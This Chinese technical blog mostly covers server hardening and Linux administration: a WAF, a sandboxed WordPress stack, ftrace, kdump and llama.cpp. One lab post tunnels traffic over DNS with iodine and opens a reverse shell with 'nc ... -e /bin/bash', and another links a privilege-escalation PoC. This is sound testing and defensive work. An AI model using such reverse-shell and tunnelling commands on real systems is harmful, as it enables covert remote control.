技术博客

  • 为nginx配置coraza WAF

    ./configure --user=httpd --group=httpd --with-http_ssl_module --add-dynamic-module=/path/to/coraza-nginx --with-compat
    
        coraza on;
        coraza_transaction_id "webserver-$request_id";
        coraza_rules_file /etc/coraza/main.conf;
    

    其中main.conf为配置的WAF规则例如

    Include /etc/coraza/rules/REQUEST-913-SCANNER-DETECTION.conf
    Include /etc/coraza/rules/REQUEST-922-MULTIPART-ATTACK.conf
    • 重新启动nginx加载WAF,查看nginx的error.log确定WAF规则加载完成

  • wordpress本站搭建过程

    • 准备工作
    1. 购买云主机
    2. 购买对应的域名并完成备案注册
    • 本站使用宝塔Linux发行版,除nginx之外使用宝塔Linux dnf 安装软件
    配置编译参数选项
    declare -x CC="gcc"
    declare -x CFLAGS="-O2 -Wall -fstack-protector-all -mindirect-branch=thunk -mfunction-return=thunk"
    
    使用 
    ./configure --user=httpd --group=httpd --with-http_ssl_module
    配置nginx
    
    使用
    make install 安装nginx到目标文件夹
    • 为nginx服务添加基于nft的rate控制,下面的例子为一个基础防火墙配置
    /etc/nft_protection.nft
    
    table inet filter {
    	set synflood {
    		type ipv4_addr
    		size 65535
    		flags dynamic
    	}
    
    	set limitrate {
    		type ipv4_addr
    		size 65535
    		flags dynamic
    	}
    
    	chain input {
    		type filter hook input priority filter; policy accept;
    		tcp dport 80 ct state new update @synflood { ip saddr limit rate over 20/second burst 5 packets } counter reject with tcp reset
    		tcp dport 80 ct state new update @limitrate { ip saddr ct count over 100 } counter reject with tcp reset
                    tcp dport 443 ct state new update @synflood { ip saddr limit rate over 20/second burst 5 packets } counter reject with tcp reset
                    tcp dport 443 ct state new update @limitrate { ip saddr ct count over 100 } counter reject with tcp reset
    	}
    }
    
    • 修改默认的 nginx systemd service并配置letsencrypt的参数,删除nginx运行时使用root账号运行,由于nginx直接提供对外的https/https访问,所以在systemd.service中根据使用需要配置沙箱
    /usr/lib/systemd/system/nginx.service
    
    [Unit]
    Description=The NGINX HTTP and reverse proxy server
    After=network.target remote-fs.target nss-lookup.target
    
    [Service]
    Environment="LD_PRELOAD=/usr/lib64/libclang_rt.scudo_standalone.so"#根据需要配置,本站使用LLVM的libscudo替换glibc的内存分配器
    Type=forking
    ExecStartPre=+/usr/sbin/nft flush table inet filter           # nft 需要root权限配置netfilter
    ExecStartPre=+/usr/sbin/nft -f /etc/nft_protection.nft        # nft 需要root权限配置netfilter
    ExecStartPre=/usr/local/bin/nginx -t -e /var/log/nginx/logs/error.log -c /usr/local/nginx/conf/nginx.conf
    ExecStart=/usr/local/bin/nginx -e /var/log/nginx/logs/error.log -c /usr/local/nginx/conf/nginx.conf
    ExecReload=/usr/local/bin/nginx -s reload -e /var/log/nginx/logs/error.log -c /usr/local/nginx/conf/nginx.conf
    ExecStartPost=/bin/chmod 664 /usr/local/nginx/logs/nginx.pid
    PrivateTmp=true
    User=httpd
    Group=httpd
    AmbientCapabilities=CAP_NET_BIND_SERVICE
    ProtectSystem=full
    ProtectHome=true
    ProtectKernelTunables=true
    ProtectKernelModules=true
    LockPersonality=true
    SystemCallFilter=~@chown @module @clock @privileged @keyring @reboot @swap @sync @debug @pkey @cpu-emulation @aio @mount
    SystemCallErrorNumber=EPERM 
    InaccessiblePaths=/root /home /boot
    BindPaths=/usr/local/nginx/etc:/etc
    ReadOnlyPaths=/etc/letsencrypt
    ReadWritePaths=/var/log/nginx/logs /usr/local/nginx/logs/ /usr/local/nginx/client_body_temp/ /usr/local/nginx/fastcgi_temp/ /usr/local/nginx/scgi_temp/ /usr/local/nginx/uwsgi_temp/ /usr/local/nginx/proxy_temp/
    SystemCallArchitectures=native
    NoNewPrivileges=true
    MemoryDenyWriteExecute=true
    PrivateDevices=true
    
    [Install]
    WantedBy=multi-user.target
    
    • 配置nginx的配置文件/usr/local/nginx/etc/conf/nginx.conf, certbot会更新此配置文件添加对应的证书信息
    /usr/local/nginx/etc/conf/nginx.conf
    
    worker_processes  1;
    
    error_log  /var/log/nginx/logs/error.log;
    error_log  /var/log/nginx/logs/error.log  notice;
    error_log  /var/log/nginx/logs/error.log  info;
    
    
    events {
        worker_connections  1024;
    }
    
    http {
        include       mime.types;
        include       fastcgi.conf;
        default_type  application/octet-stream;
    
        error_log   /var/log/nginx/logs/error.log;
        server_tokens off;
        sendfile        on;
        fastcgi_buffering off;
    
        keepalive_timeout  65;
    
        upstream php {
            server unix:/var/run/php-fpm/www.sock;
        }
    
        server {
            server_name  对应的域名;
    
    	client_max_body_size 5m;
    
    	root /var/lib/www/html;
            index index.php;
    
            location / {
                try_files $uri $uri/ /index.php?$args;
    	}
    
            location ~ \.php$ {
                try_files $uri =404;
                include fastcgi.conf;
                fastcgi_pass php;
            }
    
    	location ~* \.(js|css|png|jpg|jpeg|gif|ico)$ {
    	    expires 1d;
    	    log_not_found on;
    	    try_files $uri $uri/ /index.php?$args; 
    	}
    
            location ~* \.webm$ {
                gzip off;
                limit_rate 5m;
    	    tcp_nopush on;
    	    tcp_nodelay on;
    	    sendfile on;
    	    max_ranges 5;
            }
    
    	# Deny access to hidden files (like .htaccess or .git)
    	location ~ /\. {
    	    deny all;
    	    access_log off;
    	    log_not_found off;
    	}
    
    	# Security: Deny direct execution of PHP files in the uploads folder
    	location ~* /(?:uploads|files)/.*\.php$ {
    	    deny all;
    	}
    
            # redirect server error pages to the static page /50x.html
            #
            error_page   500 502 503 504  /50x.html;
            location = /50x.html {
                root   html;
            }
    
            listen 443 ssl;
    
        }
    
    }
    
    • 使用发行版安装php-fpm, mariadb和certbots
    • 配置php-fpm服务和nginx配套工作
    /usr/lib/systemd/system/php-fpm.service
    
    [Unit]
    Description=The PHP FastCGI Process Manager
    After=syslog.target network.target
    
    [Service]
    Type=notify
    ExecStart=/usr/sbin/php-fpm --nodaemonize
    ExecReload=/bin/kill -USR2 $MAINPID
    PrivateTmp=true
    RuntimeDirectory=php-fpm
    RuntimeDirectoryMode=0755
    ProtectSystem=full
    ProtectHome=true
    ProtectKernelTunables=true
    ProtectKernelModules=true
    LockPersonality=true
    SystemCallFilter=~@chown @module @clock @privileged @keyring @reboot @swap @sync @debug @pkey @cpu-emulation @aio @mount
    SystemCallErrorNumber=EPERM 
    ReadWritePaths=/var/log/php-fpm
    InaccessiblePaths=/root /home /boot
    BindPaths=/var/lib/php/etc:/etc
    SystemCallArchitectures=native
    NoNewPrivileges=true
    MemoryDenyWriteExecute=true
    PrivateDevices=true
    User=httpd
    Group=httpd
    RestrictAddressFamilies=AF_UNIX AF_INET
    TasksMax=256
    AmbientCapabilities=CAP_NET_ADMIN
    CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE
    
    
    [Install]
    WantedBy=multi-user.target
    
    
    
    /var/lib/php/etc/php.ini
    
    expose_php = Off
    • 配置mariadb只使用unix socket通信
    /usr/lib/systemd/system/mariadb.service
    
    [Unit]
    Description=MariaDB 10.11 database server
    Documentation=man:mariadbd(8)
    Documentation=https://mariadb.com/kb/en/library/systemd/
    After=network.target
    
    [Install]
    WantedBy=multi-user.target
    Alias=mysql.service
    Alias=mysqld.service
    
    [Service]
    Environment="LD_PRELOAD=/usr/lib64/libclang_rt.scudo_standalone.so"
    Type=notify
    User=mysql
    Group=mysql
    
    ExecStartPre=/usr/libexec/mariadb-check-socket
    # '%n' expands to 'Full unit name'; man systemd.unit
    ExecStartPre=/usr/libexec/mariadb-prepare-db-dir %n
    # MYSQLD_OPTS here is for users to set in /etc/systemd/system/mariadb@.service.d/MY_SPECIAL.conf
    # Note: we set --basedir to prevent probes that might trigger SELinux alarms,
    # per bug #547485
    ExecStart=/usr/libexec/mariadbd --basedir=/usr $MYSQLD_OPTS $_WSREP_NEW_CLUSTER
    ExecStartPost=/usr/libexec/mariadb-check-upgrade
    
    # Setting this to true can break replication and the Type=notify settings
    # See also bind-address MariaDB option.
    PrivateNetwork=false
    ProtectSystem=full
    ProtectHome=true
    ProtectKernelModules=true
    LockPersonality=true
    ReadWritePaths=/var/lib/mysql /var/log/mariadb /run/mariadb
    SystemCallArchitectures=native
    NoNewPrivileges=true
    MemoryDenyWriteExecute=true
    PrivateDevices=true
    RestrictAddressFamilies=AF_UNIX
    
    KillSignal=SIGTERM
    
    # Don't want to see an automated SIGKILL ever
    SendSIGKILL=no
    
    # Restart crashed server only, on-failure would also restart, for example, when
    # my.cnf contains unknown option
    Restart=on-abort
    RestartSec=5s
    
    UMask=007
    
    # Give a reasonable amount of time for the server to start up/shut down
    TimeoutSec=300
    
    # Place temp files in a secure directory, not /tmp
    PrivateTmp=true
    
    
    配置mariadb服务端配置
    /etc/my.cnf.d/mariadb-server.cnf
    
    [mysqld]
    datadir=/var/lib/mysql
    socket=/var/lib/mysql/mysql.sock
    log-error=/var/log/mariadb/mariadb.log
    pid-file=/run/mariadb/mariadb.pid
    
    [galera]
    skip-networking
    

    • 安装完成certbot之后配置自动更新/usr/lib/systemd/system/certbot-renew.service
    [Unit]
    Description=This service automatically renews any certbot certificates found
    
    [Service]
    EnvironmentFile=/etc/sysconfig/certbot
    Type=oneshot
    ExecStart=+/usr/bin/certbot renew --noninteractive --no-random-sleep-on-renew $PRE_HOOK $POST_HOOK $RENEW_HOOK $DEPLOY_HOOK $CERTBOT_ARGS      # certbot需要root权限,使用systemctl操作nginx,本站未自定义hook,使用root运行certbot
    User=certbot                            
    Group=httpd                             
    PrivateTmp=true
    ProtectSystem=full
    ProtectHome=true
    AmbientCapabilities=CAP_NET_BIND_SERVICE
    ProtectKernelTunables=true
    ProtectKernelModules=true
    LockPersonality=true
    SystemCallFilter=~@chown @module @clock @privileged @keyring @reboot @swap @sync @debug @pkey @cpu-emulation @aio @mount
    SystemCallErrorNumber=EPERM 
    BindPaths=/usr/local/nginx/etc:/etc
    ReadWritePaths=/var/lib/letsencrypt /var/log/letsencrypt /etc/letsencrypt /usr/local/nginx/logs/ /var/log/nginx/ /usr/local/nginx/conf/
    InaccessiblePaths=/root /home /boot /dev 
    SystemCallArchitectures=native
    NoNewPrivileges=true
    MemoryDenyWriteExecute=true
    PrivateDevices=true
    
    • 修改运行时需要的文件从/etc/复制到/usr/local/nginx/etc/
    sudo cp /etc/group /usr/local/nginx/etc/
    sudo cp /etc/passwd /usr/local/nginx/etc/
    
    删除/usr/local/nginx/etc/group和/usr/local/nginx/etc/passwd文件内的账号只保留httpd和必要的账号
    
    复制所有nginx相关的配置到 /usr/local/nginx/etc/
    
    sudo cp -rf /etc/crypto-policies /usr/local/nginx/etc/
    sudo cp -rf /etc/letsencrypt /usr/local/nginx/etc/
    sudo cp -rf /etc/nginx /usr/local/nginx/etc/
    sudo cp -rf /etc/pki /usr/local/nginx/etc/
    sudo cp -rf /etc/ssl /usr/local/nginx/etc/
    
    • 修改运行时需要的文件从/etc/复制到/var/lib/php/etc/
    sudo cp /etc/passwd /var/lib/php/etc/
    
    删除 /var/lib/php/etc/passwd 内的账号 只保留需要的httpd
    
    复制所有php相关配置到 /var/lib/php/etc/
    
    sudo cp -rf /etc/php.d /var/lib/php/etc/
    sudo cp /etc/php.ini /var/lib/php/etc/
    sudo cp -rf /etc/wordpress /var/lib/php/etc/
    sudo cp -rf /etc/php-fpm.d /var/lib/php/etc/
    
    
    • 使用systemctl 重启nginx, php-fpm
    • 使用systemctl 测试 certbot-renew

  • 对比ftrace追踪的函数

    ffffffffb0721870 t __x64_sys_openat
    
    使用gdb调试/proc/kcore
    
    (gdb) x/16xw 0xffffffffb0721870
                             endbr64           nop 指令  0f 1f 44 00 00
    0xffffffffb0721870:	0xfa1e0ff3	0x00441f0f	0xec834800	0xf8894820
    0xffffffffb0721880:	0x0d8b4865	0x02606790	0x244c8948	0x7f8b4818
    0xffffffffb0721890:	0x708b4870	0x508b4868	0x408b4838	0x81c18960
    0xffffffffb07218a0:	0x7f7fc3e1	0xc9814800	0x00008000	0x240c8948
    

    使用ftrace对__x64_sys_openat函数进行追踪

    ffffffffa3721870 t __x64_sys_openat
    
    (gdb) x/16xw 0xffffffffa3721870
                             endbr64      替换为call 指令 e8 87 67 ad 1e 
    0xffffffffa3721870:	0xfa1e0ff3	0xad6787e8	0xec83481e	0xf8894820
    0xffffffffa3721880:	0x0d8b4865	0x02606790	0x244c8948	0x7f8b4818
    0xffffffffa3721890:	0x708b4870	0x508b4868	0x408b4838	0x81c18960
    0xffffffffa37218a0:	0x7f7fc3e1	0xc9814800	0x00008000	0x240c8948

    对应的汇编指令如下

    ffffffff81721870 <__x64_sys_openat>:
    ffffffff81721870:       f3 0f 1e fa             endbr64
    ffffffff81721874:       0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)
    ffffffff81721879:       48 83 ec 20             sub    $0x20,%rsp
    ffffffff8172187d:       48 89 f8                mov    %rdi,%rax
    ffffffff81721880:       65 48 8b 0d 90 67 60    mov    %gs:0x2606790(%rip),%rcx        # ffffffff83d28018 <__ref_stack_chk_guard>
    

  • 使用iodine搭建DNS Tunnel测试反向shell

    使用DNS Tunnel https://github.com/yarrick/iodine 代码生成DNS tunnel

    git clone https://github.com/yarrick/iodine
    export TARGETOS=Linux
    cd iodine/
    make
    

    编译生成的可执行代码保存在

    ../bin/iodined 服务端组件
    ../bin/iodine  客户端组件

    使用podman运行容器和host组成DNS Tunnel的本地环境

    podman run -it fedora /bin/bash
    将podman容器的/bin/bash 连接到/var/run/netns 
    sudo ln -sf /proc/bash的PID/ns/net /var/run/netns/podman-ns

    测试容器内的接口可以使用iproute组件进行配置

    sudo ip netns ls
    podman-ns (id: 0)

    在host创建DNS Tunnel所需要的veth pair组件

    在host侧为veth_host, 在podman的容器内为veth_ns

    sudo ip link add veth_host type veth peer name veth_ns  

    将veth_ns配置到podman-ns容器内

    sudo ip link set veth_ns netns podman-ns

    将veth_host和veth_ns配置为联通状态

    sudo ip link set veth_host up
    sudo ip netns exec podman-ns ip link set veth_ns up

    为veth_host和veth_ns配置IP地址

    sudo ip a a 192.168.*.1/24 dev veth_host
    sudo ip netns exec podman-ns ip a a 192.168.*.2/24 dev veth_ns

    在容器内运行DNS tunnel的服务端

    sudo ip netns exec podman-ns ./iodined -f -c -P 123456 192.168.隧道网络.1 test.com

    在主机运行DNS tunnel的客户端

    sudo ./iodine -f -r 192.168.*.2 test.com

    在podman的容器内运行nc监听程序

    [root@c4f2fd32eeb7 /]# nc -lvnp 80

    在host运行反向shell

    nc 192.168.隧道网络.1 80 -e /bin/bash

    在容器内可以通过反向shell操作主机,测试DNS tunnel, iodine可以通过多种DNS records type进行隧道传输

  • 使用eBPF/kfuncs检测通过代理服务访问HTTP/HTTPS连接的Linux发起应用和用户UID/GID

    使用eBPF和kfuncs检测从Linux发起的HTTP/HTTPS连接,添加应用信息和UID/GID信息

  • ncat 反向shell检测和终止

    使用ncat 实现基于TCP的反向shell
    使用eBPF检测系统中的反向shell,终止反向shell连接

  • dirty frag 测试验证和基础防御

    测试方法来自V12团队的原型化漏洞利用,感谢V12团队开源的原型化代码, 漏洞利用代码见链接

    https://github.com/v12-security/pocs/tree/main/fragnesia

    使用dirty frag提权

    使用ebpf阻断dirty frag 提权

  • 使用llama.cpp在CPU计算机运行Qwen3模型

    • 下载模型推理引擎llama.cpp

    使用git clone llama.cpp 模型推理引擎

    https://github.com/ggml-org/llama.cpp
    • 使用cmake编译llama.cpp
    cmake -B build
    cmake -B build build
    • 下载Qwen3量化之后的大语言模型

    从huggingface网站下载Qwen3-4B-Q4_K_S.gguf,模型格式为gguf

    https://huggingface.co/unsloth/Qwen3-4B-GGUF
    • 在编译完成的代码树中运行llama-server
    ./llama-server -m Qwen3-4B-Q4_K_S.gguf -c 4096 --port 80

    • 测试大模型运行
    curl http://localhost:80/v1/chat/completions   -H "Content-Type: application/json" -d '{
      "messages": [
        {"role": "user", "content": "杭州今天的天气如何?"}
      ]
    }'
    • Qwen3开源的模型支持MCP工具调用,可以使用tools将工具调用信息提供给大模型

    在I7处理器纯使用CPU推理的情况下,处理此请求需要15秒时间

    curl http://localhost:80/v1/chat/completions   -H "Content-Type: application/json" -d '{
      "messages": [
        {"role": "user", "content": "今天杭州的天气如何?"}
      ],
      "tools": [
        {
          "type": "function",
          "function": {
            "name": "get_current_weather",
            "description": "获取指定城市当前的天气信息",
            "parameters": {
              "type": "object",
              "properties": {
                "location": {
                  "type": "string",
                  "description": "城市或地区,例如 北京 或 上海"
                },
                "format": {
                  "type": "string",
                  "enum": ["celsius", "fahrenheit"],
                  "description": "温度单位"
                }
              },
              "required": ["location"]
            }
          }
        }
      ],
      "tool_choice": "auto"
    }'

    返回的请求为调用MCP工具函数get_current_weather

  • 使用Clang LLVM工具链编译Linux内核

    在编译Linux 新版本内核时可以使用clang LLVM工具链进行编译

    make LLVM=1 menuconfig

    启用LLVM工具链编译,可以在Linux内核启用 LTO=thin链接时优化

    在编译randstruct时,clang内置了数据结构随机化功能,不再需要gcc 插件编译使能randstruct

    CONFIG_RANDSTRUCT_FULL=y
    CONFIG_RANDSTRUCT=y
    

    GCC使能randstruct需要手动编译位于内核代码树的

    linux-7.0/scripts/gcc-plugins/randomize_layout_plugin.c

    然后使用此插件完成对内核所有打标签的数据结构进行随机化例如

    struct task_struct {
        	/*
    	 * This begins the randomizable portion of task_struct. Only
    	 * scheduling-critical items should be added above here.
    	 */
    	randomized_struct_fields_start
    
    
            随机化编译器指令之间的数据结构字段
    
             .....
    
    
    
    
             /*
    	 * New fields for task_struct should be added above here, so that
    	 * they are included in the randomized portion of task_struct.
    	 */
    	randomized_struct_fields_end
    } 

    或者整个数据结构随机化

    struct linux_binprm {
         ......
    
    } __randomize_layout;

    在完成编译之后需要使用

    make LLVM=1 modules_install
    make LLVM=1 install

    安装内核

  • 配置kdump和内核dump分析

    • 启用pstore保存系统在shutdown之前的log

    添加启动参数 printk.always_kmsg_dump=Y reserve_mem=2M:4096:oops pstore.backend=ramoops ramoops.mem_name=oops

    在配置了systemd-pstore.service的情况下

    pstore的数据保存在 /var/lib/systemd/pstore/*

    原始数据保存在 /sys/kernel/pstore/

    • 配置kdump

    配置kdump内核启动参数

    crashkernel=2G-64G:256M,64G-:512M 

    在启动时内核根据此配置预留kexec加载内核和initramfs内存

    此参数会被kdump.service自动配置覆盖,需要修改/etc/kdump.conf 在不使用自动配置的情况下,需要禁用auto_reset_crashkernel

    ....
    auto_reset_crashkernel no
    path /var/crash
    core_collector makedumpfile -l --message-level 7 -d 31
    failure_action shell
    final_action reboot
    ....

    kdump.service 默认使用dracut生成kexec 启动内核使用的initramfs, 和安装内核时使用的方法相同, dracut会根据配置文件从根文件系统收集启动时需要的ramdisk内容和内核模块

    配置完成使用

    systemctl restart kdump.service

    充气kdump服务

    • 使用kdumpctl 测试配置是否成功
    kdumpctl test

    测试会触发panic,由于kdump会使用kexec 将内核加载到内存中,在panic时会自动加载新内核并在kexec的内核运行makedumpfile 将/proc/vmcore 的内容保存在磁盘或者收集kdump的服务器